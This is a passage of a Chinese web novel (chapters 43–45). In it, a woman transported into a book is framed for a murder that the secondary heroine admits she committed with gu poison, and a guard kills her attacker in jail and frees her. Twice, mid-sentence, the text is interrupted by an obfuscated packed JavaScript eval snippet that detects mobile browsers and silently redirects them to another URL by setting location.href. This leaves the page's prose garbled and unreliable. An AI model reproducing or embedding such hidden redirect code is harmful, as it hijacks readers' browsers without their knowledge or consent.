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祈祷苏念可坚定地站在她这一边,否则,所有的证据都指向自己,她就莫名其妙且非常冤地背上了一条人命,害人性命恐怕不仅仅是坐牢那么简单,按照小说,大祁朝律法,杀人偿命,一旦她被确认是杀害黄石的凶手,那么她就会处以死刑。 可苏念可是书中恶毒女二,坏事做尽,她和她的暗卫南星不把人当人,杀人无数,这样的一个人,她真的可以相信吗? 季妤无数遍地在心里默默地问自己。 看着季妤睁着湿漉漉的小鹿眼,就这么直勾勾地盯着她,眼里有紧张、不安和害怕,看起来像是被欺负了的小狗,很是可怜地来寻求主人的保护和安慰,苏念可微微一顿,心里陡然升起了一股责任感。 季妤既这般信任她,在她身上寻求保护,那么她又怎么能叫她失望呢? 苏念可勾起唇角,朝季妤那微微弯了一下腰,凑近季妤耳边轻声道:“去吧,无论验出什么结果,你没有杀黄石都是事实,就算他们硬是要污蔑你,有我在,你还怕什么?” “一般人我是不会轻易告诉他我的真实身份,既然你这么害怕,我不妨就告诉你,其实,我是户部尚书的女儿,靖王是我姨父,一个小小的知州,他还奈何不了我,现在你听到我的身份后,还害怕吗?” 苏念可在她耳边轻笑,季妤安下心来,有苏念可帮她,她大抵是不用怕了。 “还是有点……”害怕。季妤如实道出心中的感受。 “没出息。”苏念可嫌弃地看了季妤一眼。 43. 第 43 章 季妤强装镇定地走到担架旁,深吸一口气后便仔细地开始检查黄石的症状。 根据外观特征,季妤在脑海里搜索之前看过原身母亲的手札的记录,可找遍了她脑中对于手札的记忆,却没有一个是符合这个症状的。 她面色凝重地扭头看了苏念可一眼,轻轻地摇了摇头。 她不知道,她不知道是什么蛊毒。 苏念可会意,无所谓地朝她勾唇一笑,算是安慰。 “季姑娘,可有验出什么?”仵作在一旁开口道。 “没有。”季妤道。 事到如今,她算是明白了,黄石的死绝对不简单,这是否是陈远为了保全杜聪,怕她将之前搜集到的证据都摆出来,所以以黄石的死来陷害她,目的是让她闭嘴。 而让一个人永远的闭嘴,最有效的办法就是成为死人。 “啪!”地一声,惊堂木又被陈远用力的拍在桌案上,季妤心下意识一提,抬眸往上看,看到陈远直勾勾地盯着她。 “大胆季妤,是不是你杀死了黄石,还不快从实招来!” “不是我!”季妤喊道,“没有证据就下定论是不是太草率了,陈大人以往判案也是如此吗?” “证据就在这里,你还要怎么狡辩,黄石因为你射的石头砸晕的,后来又是你用银针刺入他的昏睡穴,这只是你的片面之词,谁知道是不是你在刺入银针的时候偷偷给他下了毒!” “既然不能断定是不是我偷偷下了毒,那么就是证据不足,证据不足就不能治我的罪,还望大人秉公处理。”季妤冷静地给自己辩解。 陈远沉默半晌,暗道好一个牙尖嘴利的丫头,怕是唬弄不了她,更何况她身边还有个苏小姐。 他思索了一会儿,开口:“确实没有直接证据证明你给黄石下了毒,但他死了,你的问题最大,若不是你把他弄晕了,他也不会因此被下毒还毫无还手之力,在没找到直接证据之前,还请季姑娘在牢房待上几日,一来也是为了季姑娘的安危,二来你也是这两个案子的关键人物,你可不能偷偷的跑掉。” 季妤下意识地看向苏念可,她说过会帮她的。 她这牢狱之灾还真的是避免不了吗? 若陈远是个好官,按照正常的断案过程,她在牢里待上几日是正常的,可陈远不是好官,她若是真的在牢里,不说待上几日,恐怕今晚她就会被他们秘密处死,然后明天就会传出她畏罪自杀的消息。 苏念可感受到了她的视线,朝她看了过来,勾唇一笑后又将头扭回去,季妤看到苏念可直视陈远,嫣红的嘴唇开启:“陈大人别忘了我这个案子,既然我有证人,那么杜聪和黄石是不是应该按照大祁律法处置呢?” 陈远略坐直了些身子,“苏小姐,黄石已死,死无对证,杜聪是个傻子,他所说的话不做数,至于季妤……”陈远看向季妤,笑道,“苏小姐说季妤是你的人,那么她说的就更不可信了,谁知道你们两个有没有串口供呢。” “听陈大人的意思,此事就这么了了?杜聪一点事都没有,完了季妤还要被关进牢房里,是么,陈大人是这意思吗?”苏念可平静的语气在不算安静的大堂里响起,传到季妤耳朵里时却异常的震耳欲聋。 这分明是暴风雨来临前的宁静。 熟知剧情的季妤忍不住地身子抖了抖,苏念可表现得越平静,越无所谓,实际就越可怕,越疯批。 以她的身份和手段,陈大人自求多福吧! 想到此,季妤抬头去看陈远,投了一个怜悯的眼神,正好被陈远捕捉到,他一愣,不太明白季妤这个眼神所表达的意思,再想细究一番,季妤却又很快地垂下头了。 陈远莫名其妙了一会儿,突然明白了那个眼神是什么意思了,季妤一定是在嘲讽他,认为他知道苏小姐真实身份后就拿她没办法,所以那个眼神不仅嘲讽他,还挑衅他。 想通了的陈远气炸了,恨不得立刻将季妤打入牢房,让她尝尝牢里十八般酷刑,看她还敢不敢嘲讽挑衅他! “来人,把季妤带进牢房!”陈远一声令下,很快便上前两位捕快,一左一右架着季妤的胳膊就要把她拖下去。 “放开!我自己会走。”季妤不满地瞪了一眼动作粗暴架着她的捕快。 “苏小姐,你快亮出你的真实身份啊!”走到苏念可身边时,季妤压低声音道。 苏念可睨了一眼季妤,非常平静地说了一句:“不急,时候未到。” 季妤急了,苏念可不急,她急啊,她马上就要关进牢房,而且今晚很有可能会被陈远他们杀人灭口的! 别到时候系统任务没完成,她小命先落在书里。 “苏小姐,你不是还要住我家吗?我要是进牢房了,那你还怎么住我家呢?”言外之意是,你要是还想住我家,就赶紧亮出你尚书嫡女的身份镇住陈远,然后救她出来。 季妤可怜巴巴地望着苏念可,谁知苏念可却笑道:“我可以住客栈的。” 季妤委屈道:“你说了会帮我的,你怎么能言而无信呢!人与人之间,信任是最为重要的!” “若不是为了帮你,我怎么会拿弹弓打晕黄石,又用银针刺入他昏睡穴,还陪你一起来报官!”季妤愤愤不平地说了一大堆,企图唤起苏念可的良知。 都是因为帮她,她才会陷入这般境地。 可苏念可却翻脸不认人,季妤心里恨恨地想:果然是恶毒女二,没有良知,难怪爱而不得。 人家男主喜欢的是善良的女主,才不是你这个言而无信的恶毒女二! 季妤越想越气,偏偏被捕快推着走,连最后瞪苏念可一眼都来不及做。 见季妤被捕快带下去了,杜聪下意识地也要跟着去,被陈远叫住:“聪儿,你不是要找你姑姑吗?快去府里找她去吧。” “姑父,小妤妹妹她怎么了?她为什么被他们带走了?”杜聪不明白地问。 陈远拧着眉头,有些不耐烦道:“这些事和你没关系,少问,赶紧回去,以后没事别来衙门,知道了吗?” 突然变得严肃的陈远把杜聪吓了一跳,他不怕爹,最怕的就是这个姑父了,对于姑父的话,他不想听也不敢不听,恋恋不舍地看了季妤的背影一眼,便转身出了衙门。 杜聪走后,陈远才从堂上走下来,走到苏念可身边,微屈着身子,面上带着几分恭敬,他垂着眼道:“苏小姐,黄石怎么处理?” 苏念可睨了他一眼,“这种事陈大人做得不算少吧,怎么,还要我亲自教你吗?” 陈远略惶恐道:“不敢不敢……那苏小姐要不就在府上住下?” “不了,我自有住的去处。” “那,那季妤,苏小姐要怎么处理?”陈远微微抬起头看了苏念可一眼,见她朝他看来,又忙将视线收回,头重新垂了下来。 苏念可略微思索了一下,想到了季妤看她时那委屈的样子,她皱了皱眉头,“就让她待在牢房里几日,此事本与她无关,等那人出现了,再放她出来。” “是。”陈远答道。末了,又问,“若是那人没出现呢?” “不会的,她会出现的。”苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097832|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念可笃定道。 * 季妤家门口,南星看着落了锁的院门,神情恍惚了一瞬,明明可以去找别的大夫救醒芷丹,可为什么他偏偏要来找季妤? 或许是内心深处想要再见见她吧。 那么晚了,季姑娘怎么还没回来? 南星疑惑地看着门上的锁好一会儿,最后又看了一眼靠在墙上昏迷不醒的芷丹,思来想去,最后一把捞起芷丹,足下一点,施展轻功翻墙进了院子。 他把芷丹放在了他先前睡过的屋子,那也是季妤爹的屋子,之后便又出门,寻找季妤。 找了济世堂,醉仙楼,皆无季妤的身影,最后来到寻欢楼。 站在寻欢楼门前,南星眼神空洞地望着门口,那里站着好几个浓妆艳抹的姑娘,即使是在初春,也穿着清凉,薄衫下的曼妙身姿若隐若现,令人无限遐想,想要一窥究竟。 她们执着扇子,拿着手帕,娇柔的声音婉转动听,吸引着人们驻足停留,想要进去寻欢作乐一番。 许是南星停留太久却又不进去,素娥扭着柳腰漫步而来,娇笑问:“这位公子,可要进来玩一玩?” 南星空洞的眼神逐渐聚焦,视线落在素娥的脸上,见她柔美的笑脸里藏了些暧昧,南星眉头紧皱,将视线挪到一旁的灯笼上,冷冷道:“我来找人。” 面对男人的冷漠语气,素娥并不恼,她一向对俊美的男子宽容,她俏皮一笑:“公子找什么人?男人还是女人?来寻欢楼的都是寻欢作乐的人,人太多了,我不一定都记得,若是你要找哪位姑娘,我们楼里的姑娘我倒是都认识。” 说罢,捏着帕子挡住半张脸,眉眼笑意盈盈,一副调戏良家少男的勾人模样。 “应该是你们寻欢楼的画师,他今晚可有来这里。” “原来是找季画师的。”素娥笑道,“他已经好几日不曾来过了,今晚也不在。” 听到季妤不在这里,南星拱手朝素娥道了声谢,便转身欲走,却被一人喊住。 “等等,这位公子等一下!” 南星转身,看到来人时脸色瞬间冰若寒霜。 “柳妈妈,这位公子是来找季画师的,可不是来寻欢作乐的哦。”素娥以为柳棠也是和她一样,来揽客的,于是笑着打趣道。 柳棠摇着扇子慢慢走近,一双眼睛紧紧地盯着南星的脸,这张似曾相识的脸让她有些恍惚,她不禁有些惊讶,暗道:像,太像了…… “你……”柳棠开口,想要问些什么,却发现喉咙似乎被堵住了一样,什么都说不出来,只直勾勾地盯着那张脸,出了神。 素娥瞧瞧柳棠,又瞧瞧南星,眼神里流露出一丝丝暧昧,直觉告诉她,柳妈妈和这位找季画师的公子必定是认识的,且关系不一般。 该不会……这俊俏的年轻公子是柳妈妈的小情人吧? 虽然柳妈妈年近四十,但保养得好,皮肤白皙紧致,头发乌黑亮丽,身姿窈窕,风韵犹存,不细看脸上的皱纹的话,看起来也就三十出头的样子。 虽说这公子年轻了些,但和柳妈妈相配的话,倒也不是那么的违和。 似是猜到了不得了的事,素娥惊讶地拿帕子捂住嘴,眼里的笑意更甚了,八卦地看着两人。 南星冷漠地看着柳棠,见她说不出什么话,他也不想听她说什么话,于是不等柳棠反应,转身就走。 柳棠望着南星离去的背影,仍喃喃道:“像,真的太像了…… 素娥一脸疑惑:“像什么?” “像我的一个好姐妹……” 44. 第 44 章 “南星。” 走在灯火通明的小巷,忽地听到一声呼唤,南星心猛地一提,忙转身回望,在看清来人后,眼里微微闪过一抹失望。 “小姐。”南星立在原地,抱拳行了一礼。 “看到是我,你很失望?”苏念可冷笑一声,缓缓朝南星走近。 南星嘴唇紧抿,直到苏念可在面前站定,才缓缓开口:“不敢。” “呵!”又是一声冷笑,苏念可瞪着南星,“我看你胆子大得很,还有什么是不敢的?我问你,你一下取七百两是要做什么?” 没等南星开口解释,苏念可又仿佛想到了原因,似笑非笑道:“啊~该不会这七百两都给了季姑娘吧?南星,看来你的命还挺值钱啊。” 苏念可阴阳怪气的话使得南星身子一僵,他悄悄攥紧了拳头,浑身散发着冰冷的气息。原来在小姐眼里,他连七百两都不值,这些年为她双手沾满血,干了不少脏事,也受过大大小小的伤,到头来,一点价值都没有吗? 呵,他还真是贱命一条呢。 见南星垂眸不语,便验证了此事是真,其实苏念可也早就猜到了,区区七百两她根本就不在意,她只是对于他擅作主张一事不满而已,所以才会对他摆脸色。 “你查到什么了吗?”一阵沉默后,苏念可想起重要事,忙问道。 南星紧攥着的手松了松,眼里平淡无波,依旧微垂着头:“我在那片树林里发现了芷丹,她一人昏睡在地,而附近有车轮印,应该是有马车经过,芷丹很有可能是马车里的人弄晕的,至于裴世子,如果我没猜错的话,应当是被马车之人带走了。” 苏念可眉头紧皱:“芷丹现如今在那儿?” “在季姑娘家中。” 苏念可意味深长地看着南星:“南星,别忘了我今日与你所说的。” 见南星不说话,苏念可微微叹了口气,感情一事,又岂是轻易就能放下的? 就像她,爱而不得。 “带我去季妤家中,我要见芷丹。” 南星抬头看了苏念可一眼,眼里有一丝茫然:“季姑娘不在家,小姐,你觉得她会去哪儿呢?” 苏念可面上微微一僵,季妤此时此刻还在牢房里呢。 不过她也不打算瞒着南星,“她在牢房里。” “牢房?她怎么会在牢房?”南星一向平静的脸出现一抹急色,语气也有些急切。 “被卷入一个杀人案件,有了嫌疑,自然就被关起来了。”苏念可不甚在意道。 “杀人,她怎么可能杀人!”南星情绪激动道。 季姑娘这样单纯明媚的人,怎么可能和杀人什么的沾边,就算她在他面前杀了人,他也只会觉得是她被人逼迫,或者被人控制,根本就不是她自愿的。 苏念可有些诧异地看着南星,一向冷漠的冰块,也会有情绪如此激动的时候,倒是有趣,看来季妤对他来说还真挺重要的。 “你怎么就肯定她不会杀人?你这么了解她?”苏念可眨了眨眼,揶揄地看着南星,在看到南星激动的神色和急切要解释的举动,她弯了弯唇,忍不住笑了起来。 “南星啊南星,你真的完了。” 一个暗卫,有了软肋,可不就是完了吗?她突然有些可怜南星了。 “所以小姐今日见过她了?为什么要去找她,为什么要把她卷进来!”南星冷漠地盯着苏念可,手紧紧地攥着,极力控制着自己的情绪,他在心里警告自己,对面的是小姐,是给了他一条生命的人,他不能伤害她。 可是,小姐却把季姑娘卷进来了,为什么?为什么要让单纯的人陷入这污浊的境地,南星感到一阵无力,他扯了扯嘴角,颓然地轻笑一声。 苏念可听到这声轻笑,沉默了一会儿,她本没打算利用季妤,谁知她却非常凑巧的出现了。 垂眸仔细地想了想,对于南星,她一向不会隐瞒,因为她知道,南星绝对不会背叛她,所以,她依然和以往一样,将今日之事告诉了南星。 “放心,她不会有事的。人是我杀的,蛊毒是我放的,目的就是为了引那人出现。只要这种蛊毒出现,那人必定会现身,这事既然与季妤无关,到时候她自然安然无恙地从大牢里出来。”苏念可安慰道。 南星睫毛微颤,缓缓抬起头。 苏念可说的是真的,他知道,只是对季妤的担心丝毫未减,要见到人他才能稍稍放心。 “小姐,我想去看看季姑娘。” 苏念可皱眉道:“你以什么身份去?她不会对你产生怀疑吗?毕竟大牢可不是什么人都能进去。” “我,我在养伤期间对季姑娘说我叫祁钰。”南星脸色有些不自然,偷偷瞥了苏念可一眼,见她皱着眉看向自己,忙解释道,“除了冒用了三皇子名字,并没有冒用其身份,对季姑娘只说家中是做生意的,她信了。” “你确定她不知道祁钰是什么人吗?”苏念可脸色有些不好看,三皇子的身份也是可以随便冒用的吗? “青州离京城有不少距离,她只在青州待过,而三皇子又未曾到过青州,她一个普通百姓,没听过三皇子名讳也正常。”南星解释道,又从怀里取出一块玉佩,正是三皇子祁钰的贴身玉佩,皇家独有。 苏念可接过玉佩,神情有些复杂,祁钰遇刺受重伤一事,很大一部分原因是因为她。 若不是她非要去寺庙里给表哥祈福,让敌人有了可乘之机,祁钰就不会遇刺,更不会为了救她,和她一起跌落山崖。虽然两人都性命无忧,但她只受了点轻伤,祁钰却受了重伤昏迷不醒,杀手明显是冲着祁钰来的,为了不被敌人发现,她让南星与祁钰互换衣物,最后南星引开了杀手,而她和祁钰也等来了救她们的人。 而刺杀祁钰的人,她大概也猜到了是谁,只是她忤逆不了。 苏念可缓了缓心神,将玉佩贴身放好,然后才对南星道:“你要去见她,我不拦你,不过你先带我去见芷丹。” —— 牢房内,季妤双臂抱膝缩在角落里,身上的东西都被搜刮走了,本想偷偷留着银针防身,最后还是没有成功,被那狡猾的仵作识破了,率先给她收走了。 季妤咬着牙,在心里狠狠地咒骂那个老仵作。 “踢踏——”脚步声在空荡荡的地牢里响起,季妤抬起头去看,看到了一张不想看到,甚至是厌恶的脸。 黄全隔着牢门,凶神恶煞地盯着季妤:“季妤,你杀了我儿子,我会让你死得很惨!” 恐吓的话语钻进了季妤的耳朵,季妤忍不住地浑身抖了抖,她张嘴解释道:“我没杀黄石,我和他无冤无仇的,我干嘛要杀他,杀他我还要偿命呢,我图啥?” “就是你杀了他!”黄全吼道,“我就这么一个儿子,以后要传宗接代的,现在他死了,我断后了,我要你这个贱人偿命!” 黄全理智全无,本来锁着的牢房突然被打开,锁被他随意地扔在了地上,发出令人胆战心惊的响声,季妤忍不住往里缩了缩,察觉到黄全不对劲后,赶紧从地上爬起来,警惕地看着他。 狱卒呢?为什么黄全会有钥匙,锁扔在地上那么大的声音,狱卒没听到吗? 季妤脑子里闪过无数个想法,她张了张嘴,大声喊了起来:“来人啊!有没有人,有人要杀我——” 黄全一步步逼近,季妤缩在角落里退无可退,忽地一道刺眼的光射向她,季妤眼睛微眯,赫然看到了黄全手里拿着的匕首,泛着冷光。 季妤害怕地咽了咽口水,手指扣着身后的墙壁,她现在身上什么防身的东西都没有,狱卒不知道干什么去了,没有人会来救她,可能真的会让黄全得手杀了她。 眼睁睁看着黄全一手扼制住她的脖子,一手举起匕首,满脸怨气地朝她刺下去,她害怕地闭上了眼睛,忽地手臂一阵巨痛,季妤惊恐地睁开眼睛,看到黄全瘫倒在地,背后直挺挺地插着一只箭矢,而他,死不瞑目般瞪着眼睛,盯着她。 季妤浑身颤抖,紧张地咽了咽口水,然后朝四周看了看,不远处黑暗中隐约显现出一个身影,季妤有些害怕地往后缩了缩,该不会还有同伙吧,见黄全没杀死她,那人还要补上一刀? 可黄全是谁杀死的?还有,黄全明明是要刺向她的心脏,为什么到最后却是她的左手臂被刺伤,季妤捂着不住流血的手臂,疼痛刺激着她想不了任何事情,她忍不住轻声喊了句:“好疼啊!” 一阵风起,掀起了她额前凌乱的碎发,还没等季妤反应过来,一双微凉的手攀上了她的手臂,动作很轻柔。 “你怎么样了!”语气很急切,带着丝毫不加掩饰的担心。 季妤有些惊讶地看着来人,似乎没想到在这地牢里还能见到他,惊讶过后,却是掩饰不住的欣喜:“祁钰,你,你怎么会来这里!” 南星身子微微僵住,眉头皱着,嘴唇紧抿。 祁钰…… 他不喜欢她这样叫他,这根本就不是他的名字,如果季姑娘叫他南星,是否也是这样欢快的语气? 她的声音这般好听,叫他的名字肯定也很动听。 南星心猛烈地跳了几下,喉头翻滚,他张了张口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118529|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想把自己的名字告诉季妤的心愈发强烈,可在看到季妤眼中欣喜若狂的神情后,他却退缩了。 他骗了她,如果他告诉她自己的真实身份,这双欣喜的眼睛会不会瞬间黯淡,她会不会因此讨厌他,厌恶他,毕竟他是一个双手沾满鲜血,无情冷血的暗卫,而他,不想她讨厌他,甚至厌恶她。 “我看到黄全在铁匠铺买了一把匕首,又一脸的凶神恶煞,猜测他可能要干什么坏事,便想着跟上看看,或许能阻止他,没想到他来了地牢,看到他要杀你,情急之下,就用箭射向他。” 南星简短地道明原因,说完还有些紧张地看了看季妤,这样的话,她会相信吗? “原来是这样!”季妤是真的信了,不仅信了,还在心里狠狠地称赞了祁钰一番,果然是宅心仁厚,心系百姓的三皇子殿下,最后坐上皇位是他应得的! “你的手臂流血了。”南星小心翼翼地拉着季妤的胳膊,从怀里掏出好几瓶药,“你快坐下,我给你上药。” 季妤乖乖地坐在铺了稻草的地上,撩起染满鲜血的衣袖,露出恐怖狰狞的刀痕,看到伤口时,季妤忍不住倒吸一口凉气,这该死的黄全,下手这么狠,这个伤口好深,就算好全了,估计也要留疤。 南星看到季妤手臂上这么深的一道伤口,眉头皱得很紧,眼睛眯了起来,眼里藏着恨不得再在黄全身上捅上几个窟窿的狠意,握着装着药的小瓷瓶的手忍不住地攥紧,险些要将瓷瓶捏碎。 止血的药粉轻轻地撒在伤口处,看着季妤疼得龇牙咧嘴,白净小巧的脸皱成一团,南星眼里满是心疼,“是不是很疼?我再轻点。” “不用不用,你正常上药就行。”怕被觉得矫情,季妤吸了口气,忍着痛,扯着嘴角露出一个自以为很轻松的笑,实则紧皱的眉头和时不时的嘴角抽搐出卖了她真实的感受,她很疼,非常非常的疼。 虽然季妤这么说,但南星还是放慢了速度,手法也更加轻柔,每撒上一点药粉,他就会抬头去看季妤的脸,一旦发现她眉头皱了一下,或者嘴角抖了一下,他就会停下动作,如此反复,等上好药包扎好伤口后,已经是半个时辰过去了。 看着躺在地上已经死得透透的黄全,季妤问:“他要怎么处理啊。” 好端端的突然牢房里死了个人,若是让狱卒看到了,估计她的罪名又要再加上一条。 南星冷漠地瞥了一眼地上的人,收回视线后,再看向季妤后的神情柔和了些,“我把他扔乱葬岗去,季姑娘觉得如何?” “啊,这样真的没问题吗?”季妤有些担心,“黄全突然消失不见了,杜庭松肯定很快就会发现的,到时候若是发现是我们杀了他,该怎么办?” “是我杀的他,与季姑娘无关,就算被杜庭松知道了又如何?”杜庭松要是敢对季姑娘下手,他不介意乱葬岗再多一具尸体。 是啊,祁钰是三皇子,杀了一个作恶多端的人完全没什么事,更何况如果不是祁钰来得及时杀了黄全,那么死的就是她了。 想通了的季妤稍稍松了口气,她抬眼看着南星,轻声道:“你快走吧,狱卒不知道什么时候就会出现,要是你被看到了,就麻烦了。” “季姑娘,你和我一起走!”南星语气坚定,目光灼灼地盯着季妤。 季妤低着头思考了一下,利落地点头:“好,我跟你一起走。” 这破地牢谁爱待谁待,反正她是被冤枉的,有三皇子祁钰在,她就不信这陈远还敢诬陷她! 南星一手提着黄全尸体,一手轻轻地拉住季妤的衣袖,两人一尸体朝着门口走去,走出牢房时,季妤才发现看守牢房的两名狱卒,一个倒在桌上,一个倒在地上。 季妤一惊,忙道:“他们是死了吗?” 南星扭头自然回道:“没有,只是晕过去了。” …… 从乱葬岗出来,南星带着季妤去了醉仙楼,给她点了一桌的好菜,饿了半天的季妤吃得非常满足,等吃完出来后,天色已经很深,两人朝着家中走去。 南星一手提着灯笼,一手拉着季妤的衣袖,小心地走着,时不时地侧头去看季妤的脸色,担心她伤口疼。 在被瞧了数次,季妤终于忍不住地开口了:“已经不怎么疼了,我制的药药效很好的,这你是知道的,不用担心啦。” “嗯。”南星抿着唇,最后只轻轻嗯了一声。 两人沉默了一会儿,季妤看着被牵住的衣袖,发了会儿呆,在进入巷子时,她突然开口问:“你怎么会突然回来呢?你不是要和你的家人离开青州吗?” 45. 第 45 章 “季姑娘,我……”南星顿住,一时之间不知道该怎么解释。 他一向不善言辞,平时更是话少,在与季妤相处的这一个月以来,说过的话是他这十几年里来的总数还要多。 “我知道。” 季妤突然开口,语气还这般笃定,把南星吓了一跳。他微微侧头去看季妤,谁知季妤也正好侧头看向了他,两人视线一对,就在他忐忑不已时,季妤朝他笑了笑。 “我知道,苏小姐就是你的家人对不对?她还在青州,你自然也就还在。” “啊?”南星愣了一下,似乎是没想到季妤是这么理解的,不过仔细一想,倒还挺有道理的。他还以为,她是发现了他隐瞒了身份欺骗她一事。 见南星一脸懵,季妤得意地解释道:“中午醉仙楼楼梯间与苏小姐擦肩而过,后来又在二楼窗子往下看看到了你和苏小姐走在一起,想到了你说你的家人到了青州,所以我便猜想,这苏小姐应该就是你说的家人了。” 南星愣了一下,反应过来后连忙点头,“对……对,她,她就是我说的家人。” 季妤将脑袋凑近南星,一脸好奇地问:“祁公子,你和苏姑娘,是什么关系呀,你,是不是喜欢她。” 被祁钰称之为家人,苏念可在他心中分量可见不一般,绝对是非常重要的人。 看着突然凑过来的季妤,一股独属于她身上的药香萦绕鼻尖,南星身子微微一僵,两条腿仿佛两根木棍,僵硬而机械地行走着。 她大而明亮的眼睛直勾勾地盯着他,嘴角上扬,是个明媚的笑,他的心瞬间激烈地跳动起来,内心慌乱不已,南星咽了咽口水,有些不自然地挪开了眼,语气僵硬道:“没有喜欢她,只是,家人而已。” 南星说到最后,几乎是语无伦次,他根本就不知道该怎么解释他和小姐的关系,他是小姐的暗卫这件事绝对不能让季姑娘知道,便只得顺着季妤的话,以家人的关系搪塞过去。 幸好季姑娘看样子是信了,她这般单纯,应该不会多疑。南星微微松了口气。 季妤见南星这反应,却是顿时乐了。心中暗想,祁钰这人,嘴上说不喜欢,耳朵都红了,明显就是害羞了,肯定是喜欢得不得了,还真是纯情呢!哈哈哈哈。 “对了,苏小姐是户部尚书嫡女,你既是她的家人,那你又是什么身份?” 季妤目光灼灼地盯着南星,南星脊背发凉,迟疑道:“她将真实身份都说与你听了?” “对啊,她还说了靖王是她姨父呢。”季妤没看到南星在听到她提起靖王时的表情一僵,仍旧自顾自说,“靖王诶,当今圣上的亲哥,身份如此尊贵,而苏小姐不仅是尚书府嫡女,更是靖王的外甥女,出身太好了。” 季妤无比羡慕,苏念可出身好,长得漂亮,又是个才女,如果不是非得爱上男主,她的人生该有多璀璨。 要是穿书穿到苏念可身上就好了,她保证离男主远远的,然后和男二情意相投。 想到这时,季妤视线不由自主地瞥向了南星。 虽然面前这个祁钰与书上所描述的不太相符,但也是帅气逼人,特别是身材和肤色,简直是她的喜好。 “你家中真的只是做生意的?该不会你的身份也不简单吧!”季妤试探性地开口问。 南星眼神躲闪着,僵着一张脸木然地点了一下头。 “当真?” 面对季妤怀疑的眼神,南星咽了咽口水,慌乱地又点了一下头:“当真。” 季妤弯了弯唇,轻轻“哦”了一声,内心却在咆哮:祁钰为什么还在隐瞒身份?苏念可都把真实身份告诉她了,难道祁钰还对她不够信任? 虽然他说不说真实身份对她完成任务没什么要紧,但一想到两人相处了一个月,她既有功劳也有苦劳,难道还不能够被信任告诉她他的皇子身份吗? 季妤心里有点说不上什么滋味的难受,没了她主动开口挑起话题,气氛陷入一阵沉默。 悬挂于高空的月亮似乎也感受到了沉闷的氛围,于是悄悄地探出云层,皎洁的月光照亮了昏暗的巷子,两人的影子被拉得很长很长…… 回到家时,季妤看到苏念可时着实惊讶了一下,她下意识地看向南星,只有他知道她家的具体位置,所以是他带苏念可到她家中的吗? 南星有些紧张地看着季妤,怕季妤对他擅作主张一事不高兴,忙解释道:“季姑娘对不起,未经允许就将旁人带进你家中。” 苏念可皱着眉头看向南星,她还成了旁人了? 好吧,在他和季妤两人之间,她还真是个旁人。 “没事。”季妤不是个斤斤计较的人,很快就原谅了南星,只是对于苏念可,她心中还生着气。 要不是苏念可最后言而无信,说好了会帮她,结果不帮她,害得她进了牢房,还险些被黄全杀死。 一想到这个,季妤就忍不住地瞪了苏念可一眼,然后直接越过她走进了房内。 苏念可看到季妤对她的态度,虽有些不满,但也自知理亏,因此倒也没计较什么,也跟着进去了。 “床上的人又是谁?”季妤指着床上的人,一脸懵地看着南星。 他又从哪儿搞来个人?难道也学她,随便捡了个人回来? 南星上前一步解释道:“她是芷丹,是小……是……”南星一时顿住,不知道该怎么称呼苏念可,于是朝苏念可那看去。 苏念可无奈地皱了皱眉,对季妤道:“芷丹是我的贴身丫鬟,现如今昏迷不醒,麻烦季姑娘看看她,看是否能让她醒来。” 芷丹?季妤回想了一下书中剧情,好像苏念可的贴身丫鬟确实是叫芷丹。 季妤上前仔细地检查了一下芷丹的病症,发现是中了一种蛊毒,不过这种蛊毒不难解,她记得原身娘的手札里有记载过能使人昏睡的蛊毒,只要按照步骤制作出解药,很快人就能醒过来。 “如何,可有查出是什么病症?”苏念可着急问道。 “是蛊毒,不过不难解,只是最简单的昏睡蛊,只要吃下解药就能醒。”季妤如实道。 “要多长时间?一天可行?” 季妤瞅了苏念可一眼,看到她这般急切有点惊讶,她以为苏念可这是担心芷丹的安危。可是书中芷丹虽然是苏念可的贴身丫鬟,但主仆两人关系并不是特别好,苏念可最信任的丫鬟其实是芷燕。 “一天可以。” “你手上的伤还没好,解药不着急,等你伤好些再制。”南星有些担心地看向季妤的左手臂。 “你的手怎么了?”看到季妤被包扎的左手臂,苏念可有些惊讶问。 似是现在才想起来,这会子季妤应该在牢房里的,想到这里,不由得看向南星,“你劫狱了?” “是黄全要杀我,祁公子救了我,现在黄全死了,我留在牢房里就更危险了,所以就跟着祁公子出来了,倒也不算劫狱?” “黄全?黄全又是谁?他杀你做什么?”苏念可不解问。 “黄全是黄石的亲爹。” “啊,我明白了,黄石死了,黄全找你报仇来了。”苏念可露出一个恍然大悟的表情看着季妤。 “我没有杀黄石!”季妤闷闷道。 “我知道啊。” “你知道你为什么……” “因为黄石是我杀的。”苏念可朝季妤笑了一下。 季妤害怕地后退了两步,“你,你想干什么?你杀了他还要嫁祸给我,你到底想干什么?” “季姑娘,我根本就没打算要伤害你,只是你非常凑巧地进了我设计的圈套,只要那个人出现了,你自然会从牢房里出来。”苏念可解释道。 “什么那个人,什么圈套,你在说什么啊?”季妤一脸茫然地看着苏念可。 苏念可颇为无语道:“你怎么这般笨?我说的那么浅显易懂,你还不明白?” 季妤摇了摇头,“不明白。” 苏念可盯着季妤看了一会儿,见她果真一脸懵懂的样子,有些无奈地再次解释道:“黄石和杜聪欺负我不假,那时我在街上走着,那两人看我独自一人,起了歹心,紧接着便是你出手救了我,打晕了黄石。在提出要去府衙报官时,我就想到了一个引那人出来的圈套,那人是我要找的人。所以在你给黄石刺昏睡穴的时候,我悄悄给他下了蛊毒。” 